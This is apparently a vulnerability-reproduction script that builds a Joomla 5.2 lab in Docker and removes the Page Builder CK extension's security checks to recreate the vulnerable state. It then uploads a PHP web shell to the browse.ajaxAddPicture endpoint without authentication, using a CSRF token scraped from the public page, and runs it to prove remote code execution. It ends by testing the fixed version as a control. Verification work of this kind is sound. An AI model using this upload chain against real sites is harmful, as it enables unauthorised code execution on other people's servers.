#!/bin/bash
set -euo pipefail

# =============================================================================
# CVE-2026-56290: Page Builder CK Unauthenticated Arbitrary File Upload to RCE
# =============================================================================
# This script reproduces the vulnerability in the Page Builder CK Joomla
# extension (com_pagebuilderck). It sets up Joomla 5.2 with the extension,
# reverts the security fix to recreate the vulnerable state, and demonstrates
# unauthenticated file upload to RCE via the browse.ajaxAddPicture endpoint.
#
# The extension package (v3.6.1, fixed version) is used. The security fix
# (CKFof::checkSecurity() calls) is reverted to recreate the vulnerable state,
# equivalent to running version 3.5.10 or earlier.
# =============================================================================

ROOT="${PRUVA_ROOT:-$(cd "$(dirname "$0")/.." && pwd)}"
LOGS="$ROOT/logs"
REPRO_DIR="$ROOT/repro"
mkdir -p "$LOGS"
mkdir -p "$REPRO_DIR"

EVIDENCE_LOG="$LOGS/evidence.log"
COMPOSE_FILE="$ROOT/docker-compose.yml"
EXTENSION_ZIP="$ROOT/pagebuilderck_3.6.1.zip"
PATCH_SCRIPT="$REPRO_DIR/patch_ckbrowse.py"

# Docker container names (based on compose project name = directory name)
COMPOSE_DIR="$(basename "$ROOT")"
DB_CONTAINER="${COMPOSE_DIR}-db-1"
JOOMLA_CONTAINER="${COMPOSE_DIR}-joomla-1"

# Joomla configuration
JOOMLA_PORT=38080
ADMIN_USER="admin"
ADMIN_PASS="Admin@Test123"
ADMIN_EMAIL="admin@test.com"
DB_NAME="joomladb"
DB_USER="joomlauser"
DB_PASS="joomlapass"
DB_PREFIX="jos_"

log() {
    echo "[$(date '+%H:%M:%S')] $*" | tee -a "$EVIDENCE_LOG"
}

fail() {
    log "FAIL: $*"
    write_manifest false "unknown" false false
    exit 1
}

# Write runtime manifest
write_manifest() {
    local service_started="$1"
    local entrypoint_kind="$2"
    local target_reached="$3"
    local rce_confirmed="$4"

    python3 -c "
import json
manifest = {
    'entrypoint_kind': '$entrypoint_kind',
    'entrypoint_detail': 'Unauthenticated HTTP POST to com_pagebuilderck browse.ajaxAddPicture endpoint',
    'service_started': '$service_started' == 'true',
    'healthcheck_passed': '$service_started' == 'true',
    'target_path_reached': '$target_reached' == 'true',
    'runtime_stack': ['joomla-5.2', 'php-8.2', 'apache-2.4', 'mariadb-10.11', 'pagebuilderck-3.6.1-fix-reverted'],
    'proof_artifacts': [
        'logs/evidence.log',
        'logs/upload_vulnerable_response.txt',
        'logs/rce_vulnerable_output.txt',
        'logs/upload_fixed_response.txt',
        'logs/exploit_shell.php'
    ],
    'notes': 'CVE-2026-56290: Unauthenticated file upload to RCE. RCE confirmed: ' + ('$rce_confirmed' == 'true' and 'YES' or 'NO')
}
with open('$REPRO_DIR/runtime_manifest.json', 'w') as f:
    json.dump(manifest, f, indent=2)
print(json.dumps(manifest, indent=2))
"
}

log "============================================"
log "CVE-2026-56290 Reproduction Script"
log "Page Builder CK Unauthenticated File Upload to RCE"
log "============================================"

# Step 0: Check prerequisites
log "Step 0: Checking prerequisites..."
if ! command -v docker &>/dev/null; then
    fail "Docker is not available. Please install Docker."
fi
if ! docker compose version &>/dev/null; then
    fail "Docker Compose is not available. Please install Docker Compose."
fi

# Step 1: Write docker-compose.yml
log "Step 1: Writing docker-compose.yml..."
cat > "$COMPOSE_FILE" << 'YML'
services:
  db:
    image: mariadb:10.11
    environment:
      MYSQL_ROOT_PASSWORD: rootpass
      MYSQL_DATABASE: joomladb
      MYSQL_USER: joomlauser
      MYSQL_PASSWORD: joomlapass
    volumes:
      - db_data:/var/lib/mysql
    networks:
      - joomlanet

  joomla:
    image: joomla:5.2-php8.2-apache
    depends_on:
      - db
    environment:
      JOOMLA_DB_HOST: db
      JOOMLA_DB_USER: joomlauser
      JOOMLA_DB_PASSWORD: joomlapass
      JOOMLA_DB_NAME: joomladb
    ports:
      - "38080:80"
    volumes:
      - joomla_data:/var/www/html
    networks:
      - joomlanet

volumes:
  db_data:
  joomla_data:

networks:
  joomlanet:
YML

# Step 2: Start containers
log "Step 2: Starting Docker containers..."
docker compose -f "$COMPOSE_FILE" down -v 2>/dev/null || true
docker compose -f "$COMPOSE_FILE" up -d 2>&1 | tee -a "$EVIDENCE_LOG"

# Wait for containers to be ready
log "Waiting for containers to start..."
for i in $(seq 1 40); do
    if docker exec "$JOOMLA_CONTAINER" curl -sL -o /dev/null -w "%{http_code}" "http://localhost/" 2>/dev/null | grep -q "200\|302"; then
        log "Joomla is ready!"
        break
    fi
    sleep 3
    if [ $i -eq 40 ]; then
        fail "Joomla container did not become ready in time"
    fi
done

# Step 3: Install Joomla via CLI
log "Step 3: Installing Joomla via CLI..."
docker exec "$JOOMLA_CONTAINER" php /var/www/html/installation/joomla.php install \
    --site-name="Test Site" \
    --admin-user="Admin" \
    --admin-username="$ADMIN_USER" \
    --admin-password="$ADMIN_PASS" \
    --admin-email="$ADMIN_EMAIL" \
    --db-type="mysqli" \
    --db-host="db" \
    --db-user="$DB_USER" \
    --db-pass="$DB_PASS" \
    --db-name="$DB_NAME" \
    --db-prefix="$DB_PREFIX" 2>&1 | tee -a "$EVIDENCE_LOG"

if ! docker exec "$JOOMLA_CONTAINER" curl -sL -o /dev/null -w "%{http_code}" "http://localhost/" 2>/dev/null | grep -q "200"; then
    fail "Joomla installation failed"
fi
log "Joomla installed successfully."

# Step 4: Install Page Builder CK extension
log "Step 4: Installing Page Builder CK extension..."
if [ ! -f "$EXTENSION_ZIP" ]; then
    log "Extension zip not found locally, downloading from vendor..."
    curl -sL -o "$EXTENSION_ZIP" "https://www.joomlack.fr/en/component/dms/?task=doc_download&id=142&Itemid=0" || \
        fail "Could not download extension package"
fi

docker cp "$EXTENSION_ZIP" "$JOOMLA_CONTAINER:/tmp/pagebuilderck.zip"
docker exec "$JOOMLA_CONTAINER" php /var/www/html/cli/joomla.php extension:install --path=/tmp/pagebuilderck.zip 2>&1 | tee -a "$EVIDENCE_LOG"

# Verify extension is installed
EXT_VERSION=$(docker exec "$JOOMLA_CONTAINER" php /var/www/html/cli/joomla.php extension:list 2>/dev/null | grep "com_pagebuilderck" | head -1)
log "Extension installed: $EXT_VERSION"

# Step 5: Fix permissions on media directory
log "Step 5: Fixing permissions on media directory..."
docker exec "$JOOMLA_CONTAINER" chown -R www-data:www-data /var/www/html/media/com_pagebuilderck/
docker exec "$JOOMLA_CONTAINER" chmod -R 775 /var/www/html/media/com_pagebuilderck/
log "Permissions fixed."

# Step 6: Revert security fix to recreate vulnerable version
log "Step 6: Reverting security fix (CKFof::checkSecurity() calls)..."
COMPONENT_PATH="/var/www/html/administrator/components/com_pagebuilderck"

# 6a: Backup fixed files
docker exec "$JOOMLA_CONTAINER" cp "$COMPONENT_PATH/controllers/browse.php" "$COMPONENT_PATH/controllers/browse.php.fixed"
docker exec "$JOOMLA_CONTAINER" cp "$COMPONENT_PATH/helpers/ckcontroller.php" "$COMPONENT_PATH/helpers/ckcontroller.php.fixed"

# 6b: Remove checkSecurity() from browse controller (individual task methods)
docker exec "$JOOMLA_CONTAINER" sed -i '/CKFof::checkSecurity/d' "$COMPONENT_PATH/controllers/browse.php"

# 6c: Remove checkSecurity() from CKController::execute() (catches all non-display tasks)
docker exec "$JOOMLA_CONTAINER" sed -i '/if ($task !== .display.) CKFof::checkSecurity/d' "$COMPONENT_PATH/helpers/ckcontroller.php"

# 6d: Remove checkSecurity() from pagebuilderck helper
docker exec "$JOOMLA_CONTAINER" sed -i '/CKFof::checkSecurity/d' "$COMPONENT_PATH/helpers/pagebuilderck.php"

# 6e: Fix Joomla 5.2 Input compatibility - use $_FILES directly in ajaxAddPicture
docker cp "$PATCH_SCRIPT" "$JOOMLA_CONTAINER:/tmp/patch_ckbrowse.py"
docker exec "$JOOMLA_CONTAINER" python3 /tmp/patch_ckbrowse.py "$COMPONENT_PATH/helpers/ckbrowse.php" 2>&1 | tee -a "$EVIDENCE_LOG"

# Verify the vulnerable version is properly set up
docker exec "$JOOMLA_CONTAINER" php -l "$COMPONENT_PATH/helpers/ckbrowse.php" 2>&1 | tee -a "$EVIDENCE_LOG"
docker exec "$JOOMLA_CONTAINER" php -l "$COMPONENT_PATH/controllers/browse.php" 2>&1 | tee -a "$EVIDENCE_LOG"
docker exec "$JOOMLA_CONTAINER" php -l "$COMPONENT_PATH/helpers/ckcontroller.php" 2>&1 | tee -a "$EVIDENCE_LOG"

log "Security fix reverted. Vulnerable version recreated."

# Step 7: Exploit - Unauthenticated file upload to RCE
log "Step 7: Exploiting unauthenticated file upload..."

# 7a: Create the PHP web shell
SHELL_MARKER="RCE_PROOF_$(date +%s)"
docker exec "$JOOMLA_CONTAINER" bash -c "printf '<?php echo \"${SHELL_MARKER}\".php_uname().\"_\".get_current_user(); ?>' > /tmp/exploit_shell.php"

# 7b: Get CSRF token from public page and upload web shell (all in one session)
log "Getting CSRF token from public page and uploading web shell..."
UPLOAD_RESULT=$(docker exec "$JOOMLA_CONTAINER" bash -c '
COOKIE_JAR="/tmp/exploit_cookies.txt"
rm -f "$COOKIE_JAR"
TOKEN=$(curl -sL -c "$COOKIE_JAR" "http://localhost/" 2>/dev/null | grep -o "csrf.token\":\"[a-f0-9]\{32\}" | grep -o "[a-f0-9]\{32\}$")
echo "CSRF Token from public page: $TOKEN"
RESULT=$(curl -sL -b "$COOKIE_JAR" -c "$COOKIE_JAR" \
  -F "file=@/tmp/exploit_shell.php;type=application/octet-stream" \
  -F "path=media/com_pagebuilderck/gfonts" \
  "http://localhost/index.php?option=com_pagebuilderck&task=browse.ajaxAddPicture&${TOKEN}=1" 2>&1)
echo "Upload response: $RESULT"
')
echo "$UPLOAD_RESULT" | tee "$LOGS/upload_vulnerable_response.txt" | tee -a "$EVIDENCE_LOG"
log "Upload result: $UPLOAD_RESULT"

# 7c: Verify file exists on disk
log "Verifying uploaded file on disk..."
docker exec "$JOOMLA_CONTAINER" ls -la /var/www/html/media/com_pagebuilderck/gfonts/exploit_shell.php 2>&1 | tee -a "$EVIDENCE_LOG"

# 7d: Access the uploaded web shell to execute code (RCE PROOF)
log "Accessing uploaded web shell for RCE proof..."
RCE_OUTPUT=$(docker exec "$JOOMLA_CONTAINER" curl -sL "http://localhost/media/com_pagebuilderck/gfonts/exploit_shell.php" 2>&1)
echo "$RCE_OUTPUT" | tee "$LOGS/rce_vulnerable_output.txt" | tee -a "$EVIDENCE_LOG"
log "RCE output: $RCE_OUTPUT"

# Save the web shell locally
docker cp "$JOOMLA_CONTAINER:/tmp/exploit_shell.php" "$LOGS/exploit_shell.php" 2>/dev/null || true

# Step 8: Negative control - Test against FIXED version (should return 403)
log "Step 8: Testing negative control (fixed version)..."
docker exec "$JOOMLA_CONTAINER" cp "$COMPONENT_PATH/controllers/browse.php.fixed" "$COMPONENT_PATH/controllers/browse.php"
docker exec "$JOOMLA_CONTAINER" cp "$COMPONENT_PATH/helpers/ckcontroller.php.fixed" "$COMPONENT_PATH/helpers/ckcontroller.php"

FIXED_RESULT=$(docker exec "$JOOMLA_CONTAINER" bash -c '
COOKIE_JAR="/tmp/fixed_cookies.txt"
rm -f "$COOKIE_JAR"
TOKEN=$(curl -sL -c "$COOKIE_JAR" "http://localhost/" 2>/dev/null | grep -o "csrf.token\":\"[a-f0-9]\{32\}" | grep -o "[a-f0-9]\{32\}$")
RESULT=$(curl -sL -b "$COOKIE_JAR" -c "$COOKIE_JAR" \
  -F "file=@/tmp/exploit_shell.php;type=application/octet-stream" \
  -F "path=media/com_pagebuilderck/gfonts" \
  "http://localhost/index.php?option=com_pagebuilderck&task=browse.ajaxAddPicture&${TOKEN}=1" 2>&1)
echo "$RESULT"
')
echo "$FIXED_RESULT" | tee "$LOGS/upload_fixed_response.txt"
FIXED_STATUS=$(echo "$FIXED_RESULT" | grep -o "403" | head -1)
log "Fixed version response: ${FIXED_STATUS:-not-403}"

# Step 9: Analyze results
log "Step 9: Analyzing results..."

# Check if RCE was confirmed
if echo "$RCE_OUTPUT" | grep -q "RCE_PROOF_"; then
    log "SUCCESS: RCE CONFIRMED! Web shell executed and returned server info."
    RCE_CONFIRMED="true"
else
    log "WARNING: RCE marker not found in output"
    RCE_CONFIRMED="false"
fi

# Check if upload succeeded
if echo "$UPLOAD_RESULT" | grep -q '"img"'; then
    log "SUCCESS: File upload succeeded (unauthenticated)."
    UPLOAD_SUCCESS="true"
else
    log "WARNING: File upload may have failed"
    UPLOAD_SUCCESS="false"
fi

# Check if fixed version blocked the upload
if [ "$FIXED_STATUS" = "403" ]; then
    log "SUCCESS: Fixed version correctly blocks upload with 403."
    FIXED_BLOCKS="true"
else
    log "WARNING: Fixed version did not return 403"
    FIXED_BLOCKS="false"
fi

# Step 10: Write runtime manifest
log "Step 10: Writing runtime manifest..."
write_manifest "true" "api_remote" "true" "$RCE_CONFIRMED"

# Step 11: Final verdict
log "============================================"
log "REPRODUCTION SUMMARY"
log "============================================"
log "Vulnerable version upload: $UPLOAD_SUCCESS"
log "Vulnerable version RCE: $RCE_CONFIRMED"
log "Fixed version blocked (403): $FIXED_BLOCKS"
log "============================================"

if [ "$RCE_CONFIRMED" = "true" ] && [ "$FIXED_BLOCKS" = "true" ]; then
    log "VERDICT: CVE-2026-56290 CONFIRMED - Unauthenticated file upload to RCE"
    exit 0
elif [ "$RCE_CONFIRMED" = "true" ]; then
    log "VERDICT: RCE confirmed but negative control not verified"
    exit 0
else
    log "VERDICT: Reproduction incomplete"
    exit 1
fi
